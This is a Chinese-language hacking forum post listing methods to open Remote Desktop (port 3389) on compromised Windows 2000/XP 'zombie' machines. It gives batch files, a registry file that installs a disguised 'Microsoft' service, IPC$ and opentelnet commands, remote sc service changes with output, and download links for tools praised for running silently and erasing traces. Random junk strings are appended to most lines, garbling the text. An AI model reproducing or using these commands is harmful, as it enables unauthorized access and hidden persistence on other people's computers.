几种开3389端口的方法

[hide=60] 1.打开记事本，编辑内容如下： y
4=T0[ V  
echo [Components] > c:\sql q& KNK
 
echo TSEnable = on >> c:\sql W?ghG  
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q O9ro{ k  
编辑好后存为BAT文件，上传至肉鸡，执行。这里值得注意的是要确定winnt是否在c盘，如果在其他盘则需要改动。 Pj BBXI1i  
Znh;#%n|  
2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05 Y9st3  
地址:www.netsill.com/rots.zip 9U )9u["DH  
使用方法： CC$rt2\e  
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如： g]BA/Dw  
nT}i&t!q8@  
c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项] Q{miI N  
v5?ct?q  
服务端口： 设置终端服务的服务端口。默认是3389。 P"@^BQ4  
自动重起选项： 使用/r表示安装完成后自动重起目标使设置生效。 TXs&*\  
使用/fr表示强制重起目标。（如果/r不行，可以允哉飧觯?BR>使用此参数时，端口设置不能忽略。 uI9+@oV  
比如扫描到了一个有NT弱口令的服务器，IP地址是222.222.222.222，管理员帐户是administrator，密码为空 hew"p(`  
运行CMD（2000下的DOS），我们给它开终端！ z

fy(j  
命令如下！ 9d=\BBNZ  
cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr Mdp'u$^!  
上面的命令应该可以理解吧？cscript reg.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为222.222.222.222 这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以 /r，这是普通重启） ~u[1Vz4#3  
9Gx`[{wI9<  
脚本会判断目标系统类型，如果不是server及以上版本，就会提示你是否要取消。 ['iEw!  
因为pro版不能安装终端服务。 x[+bLlb  
如果你确信脚本判断错误，就继续安装好了。 i2[8^o`_  
,&* BhUC  
如果要对本地使用，IP地址为127.0.0.1或者一个点（用.表示），用户名和密码都为空（用""表示）。 E2`9H-6e  
{aK
3'-7  
脚本访问的目标的135端口，如果目标135端口未开放，或者WMI服务关闭，那么脚本就没用了。 K05T`+N,  
q$ j  
A\E ))b9+  
3，下载3389自动安装程序-djshao正式版5.0 43rV> W,  
地址www.netsill.com/djshao.zip ol {N^fiK  
说明： sP=^5K`g  
解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下，然后进入c:\ winnt\temp目录执行djxyxs.exe解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡会自动重启！重启后会出现终端服务！ ]j$(so"  
mGF)Ot R  
特点：1、不用修改注册表的安装路径，注册表会自动修改，安装完后会自动恢复到原来的安装路径，2、在后台安静模式运行，就算肉鸡旁有人也没有关系！3、在添加和删除中看不出终端服务被安装的痕迹，也就是启动终端前不会打钩，4、不会在肉鸡上留下你的上传文件，在安装完终端服务后会会自动删除你上传到c:\winnt\temp下的任何文件！5、不管肉鸡的winnt装在什么盘上都无所谓！6、安装完终端后会删除在管理工具中的终端快捷图标！7、在没有安装终端前，终端服务是被禁止的！安装终端后，终端服务被改为自动！但是如果在安装前终端服务是手动！安装后就可能还是手动！等重启后就不会打开服务！所以在软件中加了sc指令，等安装完后，不管终端服务是禁止还是手动还是自动，全部改为自动。8、自动检测肉鸡是不是服务器版，如果不是删除原文件，不执行安装，如果是服务器版就执行安装！9、支持非法内容,请删除韩繁四个版本的win2000服务器版！ h^14/L=|  
qc3,/JO1  
A ;|P
\V  
4.下载DameWare NT Utilities 3.66.0.0 注册版 0|=y#`;,Z  
地址www.netsill.com/dwmrcw36600.zip IfI:|w}:"r  
安装注册完毕后输入对方IP用户名密码，等待出现是否安装的对话框点是。 8&qtF.i-6  
复制启动后出现对方桌面。 oBo |eRIt|  
在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入后在启动终端服务上打上勾。确定自动提示重起，重起后OK。 x7jFYC  
%ca`v;].  
AOV{@b(  
５. _?I*:: I  
#)S&Z><
<  
首先我们制作开启3389的工具 7l
wFxP5QT  
先把下面的注册表内容copy一份，另存为3389.reg注册表文件 ) <w`:wD  
注册表内容： U5?QneK  
Windows Registry Editor Version 5.00 &
W `7 b<  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] 3+iryW(\  
"Enabled"="0" ;!3: 3;  
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] .O&YdUo  
"ShutdownWithoutLogon"="0" >
5Y.  
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] 2nL*^hhh  
"EnableAdminTSRemote"=dword:00000001 lJx5scN[  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] WWOjck#  
"TSEnabled"=dword:00000001 :j/sTO=  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] (>lH=&%zj  
"Start"=dword:00000002 OcC|7s",  
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] =OTu8_ d0t  
"Hotkey"="1" MvaX>n!o  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] {*  w _*  
"Start"=dword:00000002 ETdN<}
m  
"ErrorControl"=dword:00000001 :$P1ps3B  
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ '0I>  
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ um( xZ6&m  
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 Q`-Xx  
"ObjectName"="LocalSystem" :C={Z}t/F  
"Type"=dword:00000010 |~rKDc  
"Description"="Microsoft" {yd(n_PqY  
"DisplayName"="Microsoft" D)Jac@,0  
再把下面的内容保存为批处理文件3389.bat <P]%{msGH  
安装批处理内容： O+[s4]  
copy termsrv.exe eventlog.exe _U^G*EqL*  
regedit.exe /s 3389.reg vCOtED*<  
del 3389.reg 2gEF$?+q?  
del 3389.exe kcMg`pJ4<  
del 3389.bat z"FxKN~Z  
用winrar制作成exe自解压缩包 %<U0  
)gAqWbkB  
61.188.***.*** user:administrato pass:空 Kt/:caD  
先使用工具letmein判断其操作系统 QDKY7"H  
letmein \\ip -all -d 4<f^/!9w  
TsInternetUser (TsInternetUser)这个是2000的终端用户，现在可以判断其为2000server了 g\iSc~%?  
再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 Ln
q CHe  
应该没有开启了 .4<lw  
建立ipc连接 f<'D?d)L^  
copy工具过去 W"A3$/nq^  
net use \\ip\ipc$ "pass" /user:name _|;{{8*?  
copy file \\ip\admin$\system32 w`dSc@ :  
用opentelnet开对方的telnet 7>AMzNj  
opentelnet \\ip name pass 1 99 <$K7f  
用telnet进入 f=8{cK0j  
进入到对方的winnt\system32\ 4VC8#x1  
目录 i4M%{]G3Y  
解压缩3389.exe Ies` !W^  
运行安装批处理3389.bat \#F>R,  
现在我们把对方重起一下，用reboot 5%@~"YCo  
bPV;"  
VS_I'SPPIc  
,F "P/`i'  
ni<\AF]`  
7. 0;4 YU%u  
nu2m5RYx  
检查对方是否真的禁用了Terminal server >q ,Z*s>?  
C:\>sc \\xxx.xxx.xxx.xxx qc termservice l701$>>  
[SC] GetServiceConfig SUCCESS w")m]LV  
SERVICE_NAME: termservice ? YluX  
TYPE : 10 WIN32_OWN_PROCESS ~b4kV)[ q  
START_TYPE : 4 DISABLED `-?`H>+OG  
ERROR_CONTROL : 1 NORMAL N-45LS@  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe b8Hzl!zO  
LOAD_ORDER_GROUP : 53^3..E|  
TAG : 0 'X?Iho  
DISPLAY_NAME : Terminal Services :dxKcg7  
DEPENDENCIES : OAgZeK$  
SERVICE_START_NAME : LocalSystem )XoMOz  
仔细看 START_TYPE一项，显示对方该服务的启动模式为“DISABLED”也就是“禁用”。 DwWm(8&6;}  
*V[I&dKq  
JE<h  
C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto Fw#1?/K
~  
[SC] ChangeServiceConfig SUCCESS *R7bI?ow  
好了，现在我们已经把对方终端服务的启动模式修改成自动了。 iDltN]zS  
lc]cs D  
W[>qiYf^b  
yDj'')LOQg  
再检查一便对方终端服务的启动模式 7=&+0@R#/d  
C:\>sc \\TEST qc termservice ;*=7>"o'`  
[SC] GetServiceConfig SUCCESS %CUwD  
SERVICE_NAME: termservice v`p@djM  
TYPE : 10 WIN32_OWN_PROCESS +Z]}ce u"  
START_TYPE : 2 AUTO_START 4i<GqG  
ERROR_CONTROL : 1 NORMAL #wkSru&LS  
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe ZQ'|B  
LOAD_ORDER_GROUP : 2av=W  
TAG : 0 NiRb:F-  
DISPLAY_NAME : Terminal Services SEE:v+3|  
DEPENDENCIES : D'^UZZlI^I  
SERVICE_START_NAME : LocalSystem #Kx @:I  
\c!e_rZ  
#CW{y?=  
X}ihYM3y/  
启动对方的终端服务 uh>"TeOi  
C:\>sc \\xxx.xxx.xxx.xxx start termservice - Nt8'-  
SERVICE_NAME: termservice B$S
@xD $  
TYPE : 10 WIN32_OWN_PROCESS ~~Rq
$'q}  
STATE : 2 START_PENDING |Nadk(}  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) !JVv`YN  
WIN32_EXIT_CODE : 0 (0x0) F'JT7#eX  
SERVICE_EXIT_CODE : 0 (0x0) tGSXTF}G  
CHECKPOINT : 0x1 ~n(L
BA  
WAIT_HINT : 0x7530 0r?]b*IEK  
I$XwM  
Tl+PRR6D*
 
C:\>sc \\xxx.xxx.xxx.xxx query termservice y k\/Cf  
SERVICE_NAME: termservice 2+*o^`%4P
 
TYPE : 10 WIN32_OWN_PROCESS 05 .EI)7  
STATE : 4 RUNNING .z*}%,G  
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) 0WyOORuK  
WIN32_EXIT_CODE : 0 (0x0) H.o3d/8:  
SERVICE_EXIT_CODE : 0 (0x0) Ag&K@%|*  
CHECKPOINT : 0x0 /_yAd,^-+  
WAIT_HINT : 0x0[/hide]